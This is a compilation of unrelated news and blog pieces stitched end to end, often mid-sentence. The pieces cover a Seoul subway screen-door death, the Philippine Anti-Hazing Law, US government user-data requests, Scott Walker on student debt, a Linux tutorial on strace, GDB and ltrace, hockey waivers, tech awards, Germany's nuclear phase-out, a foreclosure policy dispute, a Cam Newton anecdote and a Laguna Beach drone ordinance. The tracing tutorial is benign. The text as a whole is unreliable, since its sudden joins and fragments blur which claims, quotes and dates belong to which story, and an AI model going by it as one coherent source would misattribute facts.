He was receiving the minimum wage with hopes of getting a permanent job under subcontract for 7 months at the company. The picture of his belongings which includes a cup noodle which probably would have been his lunch, stirred up public emotion. Seoul citizens came to the spot of incident to express their condolescence.
Screen doors were first installed in 2007 to prevent people from being pushed or jumping onto the tracks, but they became a cause of fatal accidents due to frequent malfunction.
An 81 year old woman died in February this year after being stuck between a screen door at Seoul Station, and a maintenance man was crushed at Gangnam Station in August last year. The picture of bloodstained subway door was released giving shock to millions of subway passengers who are exposed to the same danger every single day.
Seoul Metro announced that they will change the screen door maintenance company from outsourcing to a subsidiary company from this August and bolster the safety regulation and strengthen the system within this year to make sure that no more accidents take place. However, they are underfire as the proposed new safety regulations had been proposed from the first accident, but there was no implementation so far till another accidents occur again.The Anti-Hazing Law penalizes members of organizations only if an applicant suffers any physical injury or dies
Published 3:01 PM, September 25, 2017
MANILA, Philippines – The effectiveness of the Anti-Hazing Law is once again being questioned as violent initiation rites by a fraternity claimed another life of a young law student.
University of Santo Tomas student Horatio Castillo III died on September 17 due to traumatic injuries he sustained allegedly at the hands of members of the Aegis Juris fraternity.
It is clear for the parents of the 22-year-old that their son “was killed by criminals” from the fraternity, expressing outrage that “barbaric and criminal acts continue to be performed in the false name of brotherhood.”
These violent acts were supposed to be prevented by the Anti-Hazing Law. But many believe that the law lacks the needed teeth to actually end the long-standing “tradition” of violence present among organizations – particularly fraternities and sororities. (READ: Inside the brotherhood: Thoughts on fraternity violence)
What does the law say?
In 1991, Ateneo law student Leonardo “Lenny” Villa died after suffering multiple injuries from hazing rites conducted by the Aquilia Legis fraternity.
His death shed light on the practice and led to the enactment of the Anti-Hazing Law in 1995. But Republic Act No. 8049 still does not really prevent hazing from taking place.
The law defines hazing as “an initiation rite or practice as a prerequisite for admission into membership in a fraternity, sorority or organization by placing the recruit, neophyte or applicant in some embarrassing or humiliating situations such as forcing him to do menial, silly, foolish and other similar tasks or activities or otherwise subjecting him to physical or psychological suffering or injury.”
According to the law, these initiation rites can still push through if:
There is written notice addressed to the school authorities or head of organization 7 days prior
There are at least two representatives from the school present
The written notice should include details about the activity, including how long it will last, the names of those who will undergo the initiation rites, and an "undertaking that no physical violence will be employed."
The representatives assigned by the school, meanwhile, have the duty to “see to it that no physical harm of any kind shall be inflicted upon a recruit, neophyte or applicant.”
Hazing automatically a criminal offense
Unfortunately, the rules set forth by the law are not always followed. Various organizations across the Philippines still employ the “age-old tradition” of using violence to “test” applicants and has become an open secret among students.
Most often than not, this practice is only put in the spotlight when people are killed, as the law really only goes after those responsible if the hazing rites result in injuries or death.
Members of organizations – regardless whether fraternity, sorority, or otherwise – directly involved in the infliction of harm will be liable if the person who went through the hazing or any form of initiation rites “suffers any physical injury or dies,” according to the law. The law does not penalize the actual act of initiation rites.
If a neophyte dies, has been raped, sodomized, or mutilated, those responsible can face life imprisonment.
Meanwhile, those who have actual knowledge of the hazing conducted but did not do anything about it – such as owners of the place where it was held, school authorities, and other members of the organization – can be considered as accomplices.
In 2012, former law professor and now Supreme Court spokesperson Theodore Te wrote that “by not defining hazing as a criminal act per se, subject to specific very narrowly-drawn exceptions, the law itself guarantees that hazing will continue.” (READ: Death and brotherhood)
The law also does not entirely cover the effects on mental health of an applicant – only if he or she becomes "insane, imbecile." Imagine the number of now-members who were subjected to the paddle and fortunately left physically “unscathed” but left with psychological scars.
No teeth
Since the law was passed in 1995, the deaths due to hazing did not really stop as there are at least 15 people who have died, while many have reported sustaining injuries from the rites.
The numbers do not reflect those who may have suffered injuries but chose not to report to authorities. Meanwhile, in the 22 years of the law’s existence, there has been only one conviction. (READ: What's happening to hazing cases in the Philippines?)
Because of this harsh reality, many have called for amendments to the Anti-Hazing Law or have called for passing entirely another bill has more teeth.
House Bill 4714 – called the “Servando Act” after college student Guillo Cesar Servando who died due to injuries from hazing – which seeks to totally ban any form of hazing on applicants of any organization was filed in 2014 by then Valenzuela Representative Sherwin Gatchalian.
Compared to the existing law, Gatchalian’s bill will give power to schools to approve or deny applications by organizations to conduct initiation rites. It also increases the penalties imposed on those held liable.
Te, in his 2012 Rappler piece, also laid out what should be included in the Anti-Hazing Law for it to be effective. These include changing the word “regulation” in the title to “prohibited,” define hazing as unlawful as it is, and explicitly stress that consent from victims will not be a defense and waivers are voided, among others.
Until the existing Anti-Hazing Law remains in effect, the practice of inflicting physical and mental harm during initiation rites is likely to continue. (READ: Stop the charade, ban hazing) – Rappler.comEvangelical |
’s transparency report revealed that the U.S. federal government led governments across the globe in requests for user information. In 2011 the U.S. government requested user data 12,271 times.
Google reported to its users that it complied 93 percent of the time last year.
Twitter’s transparency report revealed that the U.S. government requested user data from the company 679 times between January 1 and June 30 of this year.
The FBI also recently renewed its push for social networking sites to build in “back doors” for federal law enforcement’s use. The agency is becoming increasingly concerned that new online communications technologies will make it more difficult to intercept communications from targets of interest.
Additional information can be surmised about a person from a brief glance of a contact list alone, without exploring the content of the communications between individuals.
“If reviewing your social networking contacts is sufficient to determine your sexuality, as found in an MIT study a few years ago, think what law enforcement agents could learn about you by having real-time access to whom you email, text, and call,” wrote Naomi Gilens, Legal Assistant with the ACLU’s Speech, Privacy, and Technology Project.
Several former NSA officials with knowledge of the agency’s domestic spying efforts are also on record in a legal battle against the U.S. government to end its warrantless surveillance of Americans.
In August, however, a federal court ruled that citizens can only sue for damages after the government acts on information obtained improperly, and cannot win damages for the mere unlawful collection of information authorized by the Foreign Intelligence Surveillance Act.
Follow Josh on TwitterMADISON, Wis. — Audio provided to One Wisconsin Now by the group Young Invincibles reveals Gov. Scott Walker claimed to questioner “we need to look at people who already have high levels of student loan debt,” despite his abysmal record in Wisconsin for the more than 800,000 student loan borrowers. Walker made the remarks after a presidential campaign event in Cedar Rapids, Iowa this weekend.
“When grading Scott Walker’s record on student debt and higher education, the question becomes: Is there a grade lower than F?” asked Scot Ross, Executive Director of One Wisconsin Now.
Gov. Walker’s record has been disastrous for student loan borrowers:
Hiking tuition and cutting state support for public education: In his first budget, Gov. Walker enacted an 11% tuition increase for University of Wisconsin schools. Under Governor Walker’s tuition hike, students have paid and will continue to pay hundreds of million in increased tuition. Walker has also cut state funding for the University of Wisconsin and Wisconsin Technical College System by nearly $700 million in his three state budgets — the latest $250 million cut to the UW — making Wisconsin unique as one of the only states in the country still cutting higher education investments.
Flat-lining and cutting state financial aid: Under Gov. Walker, state financial aid programs for eligible students have received no new funds, even as double-digit tuition increases were signed into law. In addition, Gov. Walker phased out the Wisconsin Covenant program, which provided financial assistance to Wisconsin youth who met certain academic standards, signing into law a measure reducing state tuition assistance by $38 million over two years.
Refusing to help current borrowers: Gov. Walker let legislation die that would have helped current student loan borrowers refinance their loans and deduct student loan payments from their state taxes, just like you can with a mortgage. Despite entreaties from legislators, Walker refused to call a special session to revive legislation to help student loan borrowers. Walker also failed to put the proposal in his just signed biennial budget which slashed the UW System again.
“Scott Walker could have provided relief to hundreds of thousands of student loan borrowers in Wisconsin by signing into law the ‘Higher Ed, Lower Debt’ bill to allow borrowers the ability to refinance their loans like they can a mortgage,” said Ross. “But instead he gutted the University of Wisconsin and technical college system, cut financial aid by tens of millions of dollars and students have paid hundreds of millions of dollars in higher tuition.”
Audio of Walker’s comments which neither mention his cuts to higher education, nor his indifference to the state student loan refinancing legislation, is available here.
“I would do two different parts. One, I think we need to look at people who already have high levels of student loan debt, so we need to help relieve some of that burden. But the other thing we have got to do in conjunction with that – that I think is really important – is help put in an incentive to keep tuition down. In my state, I am proud of the fact that we froze tuition four years in a row. Because really the heart of why the loans are going up so much is because tuition was going up three to four times the rate of inflation. So one of the ideas we’re looking at – we’ll probably come out around the time school starts up and announce a plan – is have higher education institutions take on not all but a small percentage of that loan so that they have an incentive to keep their tuition down and people aren’t taking on debt they can’t afford to pay. So even if it is like 4-5%, that would keep them in a position where they would want to raise it.”
“Students and borrowers have done the right thing – they have worked hard and took on the personal responsibility of paying for their education,” Ross said. “After taking millions from the banking and finance industry, he’s standing in the way of allowing borrowers to refinance their student loans like you can with a mortgage or a car loan. His comments don’t change his record.”
In October 2013, Rep. Cory Mason (D-Racine) and Sen. Dave Hansen (D-Green Bay) introduced common sense reforms including refinancing and a tax break for borrowers in their historic Higher Ed, Lower Debt Act. Despite having 54 co-sponsors, Walker’s Republican allies killed the bill. Walker later dismissed the Higher Ed, Lower Debt plan, questioning whether it was “more than just politics.” Mason and Hansen have reintroduced the legislation, which again has the co-sponsorship of every single Democrat in the state legislature.
“Scott Walker will say and do anything to get elected,” said Ross. “But on student loan debt, he’s flat out lying to the 43 million Americans, and their families, who have $1.3 trillion in debt.”Tracing the user space and Operating System interactions
Posted on 10/04/2017 by Gabriel Krisman Bertazi
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Like the bug that no one can solve, many issues occur on the interface between the user application and the operating system. But even in the good Open Source world, understanding what is happening at these interfaces is not always easy. In this article, we review some of the tools to trace the calls being made among the kernel, libraries and the user applications.
Tracing System Calls with strace
strace traces both directions of the interaction between the kernel and the evaluated application, namely, it traces when an application executes a system call, and when the operating system sends a signal to the process.
In its simplest form, strace runs the application passed in the command line and prints one line for each interaction with the kernel that occurred, like which syscall was invoked, with which parameters and what was the returned value. It can also attach to a running process, which allows you to reduce the amount of clutter by starting the tracer just before triggering the actions that concern you.
strace uses the ptrace interface in the kernel, so it doesn't require recompiling the application. This characteristic makes strace an ideal tool to start reverse-engineering an application to understand how it works, even if you don't have the source-code. But it is also helpful as a debugging or as a test/validation tool, for instance to confirm the return of a specific system call without going through the effort of creating a custom tool.
As usual, strace is available for major distros. In Debian, you can install it with:
apt install strace
After installing, you are ready to trace the trivial hello-world application, which just prints "Hello World
" to the stdout and exits.
[krisman@dilma /tmp]$ strace./hello-world execve("./hello-world", ["./hello-world"], [/* 65 vars */]) = 0 brk(NULL) = 0x55b45a6c7000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f38e0a3b000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=160345,...}) = 0 mmap(NULL, 160345, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f38e0a13000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 read(3, "\177ELF\2\1\1\3\0\0\0\0\0\"..., 832) = 832 fstat(3, {st_mode=S_IFREG|0755, st_size=1685264,...}) = 0 mmap(NULL, 3791264, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f38e047e000 mprotect(0x7f38e0613000, 2093056, PROT_NONE) = 0 mmap(0x7f38e0812000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE |MAP_FIXED|MAP_DENYWRITE, 3, 0x194000) = 0x7f38e0812000 mmap(0x7f38e0818000, 14752, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f38e0818000 close(3) = 0 mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f38e0a11000 arch_prctl(ARCH_SET_FS, 0x7f38e0a11700) = 0 mprotect(0x7f38e0812000, 16384, PROT_READ) = 0 mprotect(0x55b459c2d000, 4096, PROT_READ) = 0 mprotect(0x7f38e0a3e000, 4096, PROT_READ) = 0 munmap(0x7f38e0a13000, 160345) = 0 fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 5),...}) = 0 brk(NULL) = 0x55b45a6c7000 brk(0x55b45a6e8000) = 0x55b45a6e8000 write(1, "Hello World
", 12Hello World ) = 12 exit_group(0) =? +++ exited with 0 +++
Above is the output of strace mixed with the actual output of the hello-world application. strace writes to stderr so to avoid mixing, we could have redirected the stderr output to a file.
In this example, each line corresponds to a system call executed by the hello-world application, starting from the execve call that kickstarted the program. In each line, strace prints the system call name, followed by its parameters in parenthesis and the value returned by its execution. Close to the end of the output, you will find the write() call, which actually printed the "Hello Word" string. In the example above, it got wrapped with the actual output, which also went to the console.
If we look separately at the line that traces the write and clean up the wrapped part, we have:
write(1, "Hello World
", 12) = 12
We can compare this output to the signature of the write() syscall (man 2 write), and see that it tried to write the string passed in argument 2, which has a size of 12 characters (argument 3), to the file descriptor 1 (argument 1), which is the file descriptor for stdout. The value returned by the kernel was 12, indicating that the string was fully written.
But, what about the other lines? As I mentioned above, the hello-world program only prints a string and exits, so what are all the other lines printed by strace? Turns out that even the most simple C program doesn't actually start to execute from the main() function. In fact, to get the usual C environment that we are used to have, a bunch of low-level code needs to execute beforehand to initialize the C library, resolve link-time dependencies and reserve memory regions from the kernel, and only then handle the control to the main() function. This code, which is spread across the libgcc and the C library, is responsible for the other system calls that we saw in the strace output. Similarly, when the main() function returns, the execution re-enters that code, which calls the exit_group() syscall to end the execution. That syscall never returns, thus there is no return value shown in the last line of the trace.
As I mentioned before, we can also attach strace to a live application, by specifying the PID in the command line. For instance, I can snoop on my IRC messages by watching my IRC client's communication with the kernel:
[krisman@dilma weechat]$ strace -p2270 -e sendto strace: Process 2270 attached sendto(52, "PRIVMSG NickServ :Hello GNU World!!!"..., 38, 0, NULL, 0) = 38
In the example above, I ran strace on my existing weechat instance, which had the PID 2270, and used the -e option to filter only for the sendto() syscall. In this case, I had a previous knowledge of what syscall to search, but strace allows you to search for a group of related syscalls, for instance, all the network related system calls or all the syscalls that operate on file names.
Interactively catching system calls with GDB
If you need a more interactive approach to tracing system calls and signals for any reason, GDB is also up to the task. Since version 7.0, GDB supports the 'catch syscall' command, which receives a syscall name or number and sets a breakpoint when entering and leaving the system call. This allows you to thoroughly inspect registers and data structures that are going to be consumed by the kernel before they are submitted, as well as the kernel output after executing the syscall.
For completeness, you can install the gdb package in Debian with:
apt install gdb
For catching system calls with GDB, you don't really need the program debug information installed but, as usual, life gets a bit easier when you have it. So, either install from your distro, or build you software with the usual -g3 -O0 flags.
[krisman@dilma work]$ gdb /bin/ls -silent Reading symbols from /bin/ls...(no debugging symbols found)...done. (gdb) catch syscall open Catchpoint 1 (syscall 'open' [2]) (gdb) c The program is not being run. (gdb) r Starting program: /bin/ls Catchpoint 1 (call to syscall open), 0x7ffff7df22e7 in open64() at../sysdeps/unix/syscall-template.S:84 (gdb) c Continuing. Catchpoint 1 (returned from syscall open), 0x7ffff7df22e7 in open64() at../sysdeps/unix/syscall-template.S:84 (gdb)
In the example above, GDB was started to debug ls. In this case, we lack debug symbols for ls, but it doesn't matter much. The first GDB command issued above, adds a breakpoint right before executing the trap instruction to enter open(), allowing the user to verify its arguments. If you then type continue, the syscall will be executed and once again a breakpoint will be hit on the syscall exit, allowing you to inspect the returned data.
The latest GDB still can't decode the signature of syscalls, which makes the decoding of arguments and return values a bit harder, since you have to cast and de-reference structures explicitly. This feature has been on my wish-list for a while, but it is still not implemented.
The syntax for catching syscalls in GDB is using the name or the number of the syscall:
(gdb) catch syscall fork (gdb) catch syscall 57
Be aware that syscall numbers change among architectures. Nowadays, most common architectures are already mapped by GDB syscall files, so you are likely safe using the syscall name, unless you are tracing a very new, or a custom system call.
Like strace, GDB also supports catching groups of related syscalls. For that, you can use the 'group:' syntax, or 'g:' for shorter:
(gdb) catch syscall group:process Catchpoint 7 (syscalls 'clone' [56] 'fork' [57] 'vfork' [58] 'execve' [59] 'exit' [60] 'wait4' [61] 'arch_prctl' [158] 'exit_group' [231] 'waitid' [247] 'unshare' [272])
Similarly, you can use the 'catch signal' command to break at the moment a signal is sent to the application:
(gdb) catch signal SIGUSR1 Catchpoint 8 (signal SIGUSR1) (gdb) c Continuing. Catchpoint 8 (signal SIGUSR1), 0x7ffff78c6d2b in __getdents (fd=3, buf=buf@entry=0x55555577acd0 "7\f\b", nbytes=32768) at../sysdeps/unix/sysv/linux/getdents.c:96... (gbd)
This stops the execution right at the moment the signal reaches the process, which can be quite useful for understanding hard race conditions.
GDB can control the way a signal is delivered to the application. For instance, you can use the command 'handle signal' to stop the program from receiving the signal at all, or configure GDB to print a message and stop the execution when a signal is delivered.
The command 'handle signal' also tells you the current configuration for that signal:
(gdb) handle SIGUSR1 Signal Stop Print Pass to program Description SIGUSR1 Yes Yes Yes User defined signal 1 (gdb)
In the example above, which is the default configuration, the program is configured to stop the execution as well as forward the signal USR1 to the inferior process, once it happens.
Catching library calls with ltrace
Like strace, ltrace executes the program passed as parameter or, alternatively, attaches to an already existing process; but instead of system calls, it traces the library calls issued by the application, translating parameters and the return values.
As usual, ltrace is also available in Debian, provided by the package with the same name:
apt install ltrace
In the example below, I traced a demonstration program, which executed several common calls to the C library, like printing to stdout, sorting a vector, saving data to a file and allocating memory. ltrace printed each of these calls in sequence, with the arguments used and the returned value.
Since we track the memory allocation and free() calls, it is easy to imagine how we could script something up to match those calls and create something like a poor-man's memory leak detector :)
[krisman@dilma demo]$ ltrace./demo 1> /dev/null malloc(200000) = 0x7f27e481e010 time(0) = 1490934890 srand(0x58dddc6a, 0x31000, 0x7f27e481e010, 1) = 0 rand(0x7f27e4653600, 0x7ffed9b4f59c, 0x15760, 0x7f27e465311c) = 0x27d07053 qsort(0x7f27e481e010, 50000, 4, 0x55d82b4d6930) = snprintf("The sum is 6543", 50, "The sum is %d", 6543) = 15 printf("%s. Also writing to file
", "The sum is 6543") = 38 fopen("/tmp/testfile", "w+") = 0x55d82ce1c020 fwrite("The sum is 6543", 50, 1, 0x55d82ce1c020) = 1 fclose(0x55d82ce1c020) = 0 +++ exited (status 0) +++
ltrace also doesn't require recompiling your program or compiling with debug information, so it is also a very useful tool for cases where you don't have access to the source-code. In fact, strace and ltrace are very similar tools in usage and features, the difference between them lies on the stack level where the data is collected. While strace investigates system calls issued to the underlying kernel, ltrace tracks library calls.
GDB is also capable of tracing requests going to libraries, as it allows you to step through the library code in the same way you usually do with applications. Even in the GDB examples above, the breakpoint triggered inside the C library syscall wrappers, so instead of continuing the execution, one could just step over the next lines of code. Therefore, if you want an interactive approach, GDB is also a great option here.
Wrapping up
In this article we reviewed three tools that can be used to trace the applications interaction with the operating system at different levels of the stack. Strace and the GDB catch syscall/signal operate on the kernel-application interface, tracing the system calls that flow from the application to the kernel and the signals that flow in the opposite direction; while ltrace operates on a higher level of the stack, tracing requests flowing from the application to libraries.
These tools can give you a much better understanding of what is going on at these interfaces in real-time, allowing you to understand, for instance, why exactly that well-crafted request is failed to execute. Since they don't require code recompilation, and usually won't even require debug symbols, these tools are also a great asset when reverse-engineering a binary to understand how it works, helping hackers and enthusiasts to write their own version of proprietary tools.
Whether you use strace/ltrace or GDB is completely up to you, and there will always be use cases where one tool is better than the other. The goal should not be necessarily mastering every tool out there, but to have basic knowledge that they exist and what they can do, so you can know what to look for when debugging a real-world problem.
Original postThe Los Angeles Kings placed Mike Richards on waivers Monday, as first reported by Sportsnet’s Elliotte Friedman.
The depth centre has seen his production drop off again this season — 15 points in 47 games — and Richards’ name had been bandied about in trade talks with multiple teams, including the Toronto Maple Leafs.
Richards still carries a salary cap hit of $5.75 million for five more seasons. If the forward does get sent down to AHL Manchester, it only saves the Kings $925,000 in salary cap relief.
The Kings could’ve used an amnesty buyout on the 29-year-old last summer but elected not to.
Richards has won two Stanley Cups in Los Angeles, but his salary has been a strain on the team’s cap. His ice time (13:41) ranks ninth among Kings forwards this season.
The other 29 teams have until noon Tuesday to claim Richards and his contract off waivers.
Richards scored 23 to 31 goals per season during a four-year stretch in Philadelphia. Since being traded to L.A. in 2011, the native of Kenora, Ont., has failed to score more than 18 in a season.
The Flyers signed Richards to a $69-million, 12-year contract before dealing him (and prospect Rob Bordson) to the Kings at the 2011 draft in exchange for Wayne Simmonds, Brayden Schenn and L.A.’s 2012 second-round pick.
The defending champion Kings exit the all-star break fighting for their playoff lives. L.A. (20-15-12) sits one point behind Calgary for the final wild card spot in the Western Conference.
In other news, the New Jersey Devils placed Tim Sestito on waivers.The most innovative, inventive, and impressive tech from the last year has been recognised at this year’s TrustedReviews Awards.
Winners were announced in all 26 categories at a ceremony in London last night, attended by some of the biggest names in tech.
Samsung’s Galaxy S6 took the top prize in the Smartphone of the Year category, beating Apple’s iPhone 6S and the LG G4, while The Witcher 3 was crowned Game of the Year.
“The awards categories were so close this year, which is a real testament to the innovation we’ve seen in the past year,’ said TrustedReviews editor Evan Kypreos.
“It was great to honour the best of the best and celebrate what really has been a great year for tech.”
Check out the other winners at the 2015 TrustedReviews Awards
Check out the full list of 2015 TrustedReviews Awards winners below:
Smartphone of the Year – Samsung Galaxy S6 and Galaxy S6 Edge
Computing Product – Microsoft Surface 3
TV of the Year – LG 65EC970V
Wearable of the Year – Withings Activité Pop
Home Appliance of the Year – Dyson V6 Fluffy
Crowdfunded Project of the Year – Hendo Hoverboard
Value Smartphone of the Year – Moto G 2015
Portable Audio Product of the Year – Sennheiser Momentum 2.0
Game of the Year – The Witcher 3: Wild Hunt
Camera of the Year – Sony A7R II
PC Component of the Year – Intel Skylake
Laptop of the Year – Dell XPS 13 2015
Monitor of the Year – Samsung U32E850
Fridge Freezer of the Year – Samsung RB41J7859S4
Small Appliance of the Year – Kenwood kCook
Smart Home Product of the Year – Netatmo Welcome
Vacuum Cleaner of the Year – Dyson V6 Fluffy
Dishwasher of the Year – Whirlpool 6th Sense PowerDry ADP900IX
Graphics Card of the Year – Nvidia GTX 980 Ti
SSD of the Year – Samsung 950 Pro M.2
Home Cinema Product of the Year – Onkyo TX-NR3030
Tablet of the Year – Microsoft Surface 3
Toy of the Year – Anki Overdrive
Home Audio Product of the Year – Samsung R7
Product of the Year – Windows 10
This is the Future – Oculus RiftADVERTISEMENT
In the wake of Japan's Fukushima nuclear disaster, German Chancellor Angela Merkel's cabinet this week approved a plan to close all of the country's 17 nuclear reactors by 2022. Other nations, including Japan, Italy, and Switzerland, have decided to reduce their reliance on nuclear power, but Germany plans to replace it completely with alternative energy sources that neither increase greenhouse gas emissions nor hobble economic growth. If that's possible, should the U.S. do it, too?
No, Germany is overreacting: "It is stupid to shut down perfectly good nuclear plants," says Alan Caruba at Warning Signs. It would force us to get more power from coal, which environmentalists hate even more than nukes. And even though Fukushima was scary, the reality is that "nuclear power plants are not atomic bombs that go off when a'meltdown' occurs." This is pure panic that "has nothing to do with reality, science, economics or any other sensible response."
"Germany's nuclear panic"
This is an example worth following: Merkel's government isn't rushing into this experiment blindly, says Jennifer Morgan at World Resources Institute. It is merely accelerating an already planned "nuclear phase-out," as well as a "phase-IN of renewable energy and energy efficiency." This decision to "shift to clean energy" isn't rash — it's the kind of thing the U.S. and other nations that still rely on nuclear power need to do to keep the power on but protect themselves from devastaing accidents.
"In Germany's nuclear phase-out, renewable energy plans are clear"
We can do it if they can... but that's a big if: America gets 20 percent of its power from nuclear, says Mark Clayton at The Christian Science Monitor. Germany gets a comparable 23 percent. But nuclear industry advocates in both countries scoff at the idea that wind and solar can fill the void when the reactors go dark. If Germany pulls it off in what some are calling a "grand laboratory experiment," the U.S. will have a "road map" it can follow.
"Germany to phase out nuclear power. Could the US do the same?"Infuriated by the Obama administration’s handling of the lingering foreclosure crisis, several leading House Democrats this week suggested that Edward DeMarco should step down as the chief regulator of Fannie Mae and Freddie Mac.
DeMarco, acting director of the Federal Housing Finance Agency (FHFA) — an agency independent of the White House — met Thursday with 17 House Democrats in the Capitol, ostensibly to brief them on FHFA’s enhanced efforts to help struggling homeowners. Instead, he revealed that the agency doesn’t yet have such a plan.
The news didn’t sit well with the Democrats.
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I said to him twice,Mr. DeMarco, if you cannot do this job — or if you dont feel like youre capable of helping the people that we represent — maybe you should move to the side and let somebody else come and replace you,Rep. Elijah Cummings (D-Md.) told reporters after the meeting.Thats just fair.
Rep. Dennis Cardoza (D-Calif.), who spearheaded the meeting along with Cummings, delivered a nearly identical message.
“Either do something or get out of the way,” Cardoza said. “And if you’re incapable of doing it, then find somebody who isn’t.”
The lawmakers were also fuming when DeMarco, pressed by Rep. Anna Eshoo (D-Calif.), conceded that he’s never met a homeowner who’s suffered a foreclosure.
“That shows to me the lack of understanding [and] the lack of urgency that is being brought to this problem,” Cardoza said. “The members of Congress are talking about 1 in 3 of their constituents who come to their office in tears telling us about their problems, and the person in charge of the program has never talked to a foreclosed individual. That’s unacceptable.”
Cummings was similarly incredulous.
“The American people don’t necessarily expect miracle workers, but they do expect people to feel their pain and give it everything they’ve got to do something about their pain,” Cummings said. “When he told us that he had never talked to somebody who had been foreclosed upon — or was in danger of [being foreclosed upon] — to be honest with you, that shocked me.”
In a brief news release Thursday, DeMarco vowed to bolster the administration’s two-year-old foreclosure-prevention initiative — the Home Affordable Refinance Program (HARP) — by “working hard with other market participants to enhance [the program.]”
“I understand their deep concerns for the problems in the housing market affecting their constituents,” DeMarco said of his Democratic critics. “Our goal is to provide expanded refinance opportunities for all HARP-eligible homeowners and for the changes to have a meaningful impact. We expect to complete our work by the end of this month.”
The Democrats, however, aren’t sold.
Eshoo described the meeting as “a deeply disappointing one, with few answers and fewer solutions.”
“There has been a complete failure on the part of the Obama administration to address the catastrophic wave of home foreclosures across the country, leaving families in despair and wreaking havoc in countless communities,” Eshoo wrote in an email. “In order for our economy to expand, an effective policy must be put into place to turn this devastation of housing around.
“The administration’s weak responses have barely touched ‘the tip of the iceberg.’”
DeMarco, Cummings said, told the lawmakers that FHFA will take several concrete steps to help struggling homeowners, including raising the loan-to-value ratio for determining HARP eligibility and reconsidering the fees charged to homeowners who refinance.
“He said that he recognizes that HARP doesn’t work,” Cummings said. “He said it has been tweaked in the past, but he admitted that now it needs — and these are his words — ‘a fix.’”
But the Democrats are already warning that FHFA’s fix will be insufficient, estimating that it will help between 600,000 and 1 million homeowners refinance to take advantage of historically low interest rates — a fraction of the millions of consumers who are underwater on their mortgages.
“[DeMarco] has the market power, with 30 million mortgages, to do much broader work than he’s doing, and he won’t stand up and step up and take authority,” Cardoza said. “And he didn’t deny that he had that capability.”
DeMarco, in his news release, said any refinancing estimates are “premature” because FHFA changes have yet to be finalized.
Cummings said the Democrats’ next step will be to ask President Obama for a meeting with “the highest-ranking housing officials in the administration” — including Treasury Secretary Timothy Geithner and Housing and Urban Development Secretary Shaun Donovan Shaun L. S. DonovanHouse Dems call on OMB to analyze Senate budget plan Overnight Finance: Dems turn up heat on Wells Fargo | New rules for prepaid cards | Justices dig into insider trading law GOP reps warn Obama against quickly finalizing tax rules MORE — “to discuss these issues in a much more comprehensive way.”
The lawmakers said they’ll also request that Obama select a more permanent nominee to replace DeMarco, who’s acting as a placeholder. The last nominee — North Carolina Banking Commissioner Joseph Smith, whom Obama tapped last November — was blocked by Senate Republicans, including Richard Shelby (R-Ala.), ranking member of the Banking Committee, who called Smith an administration “lapdog.”
In January, Smith withdrew his name from consideration, and Obama has yet to name a possible replacement.
Cardoza characterized the GOP opposition as “shameful.”
“I have not been easy on this administration,” Cardoza said, “but I also understand how difficult it is to run a program when you can’t even put your appointees in place.”SPARTANBURG- Even Cam Newton needs a late night snack.
On Thursday night after the first day of training camp at Wofford College, Newton wanted a pizza. The only problem- it was after closing time.
Newton told the media he showed up at the Pizza Hut on Asheville Highway in Spartanburg around 10:15 P.M., fifteen minutes after the store had closed. NBC Charlotte went to the restaurant to find out what happened.
"I had came over here to lock the door, because it was closed, and as soon as I locked that door he pulled up," said Pizza Hut server Maya Brockman.
She said at first glance, she thought he was a college student. He was driving a black car, and had on a funny black hat so she couldn't really make out his face.
Newton told the server he didn't have an order, but that he didn't eat meat and was hoping to get a cheese pizza, with stuffed crust.
Brockman grabbed her manager, Amanda McCluney who said that the ovens were still on and they could do it.
By this time, they started thinking this wasn't a normal customer. From his black hat, to his matte black fancy car, they wondered who was in the drivers seat.
To take the order, they needed a name but Newton wasn't offering any hints.
"He said, 'Well don't be a stranger if I come back.' I said, 'Well, what's your name?' He said, 'I don't know." So I said, 'Well I'll just call you stranger when you come back,'" McCluney said.
When Newton pulled away, the girls were still racking their minds- until Brockman got a look at the license plate.
"It said the Chosen one," Brockman said.
While he was trying to convince them to give him a pizza, he told him he had just finished with practice. Once he pulled away, McCluney googled the Panthers roster.
"I was like, 'Cam Newton! I knew it was you, I knew who it was!" McCluney said.
Brockman said she felt like an opportunity slipped right through her fingers, but he did leave something behind.
At that Friday press conference, Newton said with a grin on his face, it was an "expensive" pizza.
The employees said that's because he left them with fifty dollars.
"It definitely came in handy because I was actually short fifty dollars because I'm moving and I needed that to go towards my Uhaul and my storage unit and it came, and I said that's nothing but a blessing," McCluney said.
Their only regret- no picture, no autograph and no proof of the day they served their most famous customer yet.
Copyright 2016 WCNCPhoenix Suns forward Markieff Morris warms up before an NBA basketball game Sunday, Dec. 6, 2015, in Memphis, Tenn. (Photo: Brandon Dill/AP)
There is one thing clear about how Suns power forward Markieff Morris feels. He is happy that the Suns won Monday night. He said as much four times to in answers to questions about being benched Sunday and having a reduced role Monday.
Until Sunday, the last time a coach sat Markieff Morris out for an entire game was when Alvin Gentry did it once during Morris’ rookie year.
Gentry’s team, New Orleans, was the one being added to Morris’ trade interest rumor mill in a Yahoo! report Tuesday after ESPN reported Monday that Houston had interest. It would be the result of Morris asking for a trade during the summer after his twin, Marcus, was traded to Detroit and how his previously perennial improvement has turned into a career-worst season.
After sitting out a game against his twin last Wednesday because of a knee bruise, he |
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A gazebo sits at the southern end of Heisler Park in Laguna Beach in January 26, 2017. Photo by Jeff Gritchen, Staff File
A drone flies over Laguna Beach in 2015. (Mindy Schauer, Staff File)
When the ordinance goes into effect July 13, fines for a first violation will be $100, $200 for a second violation and $500 for a third.
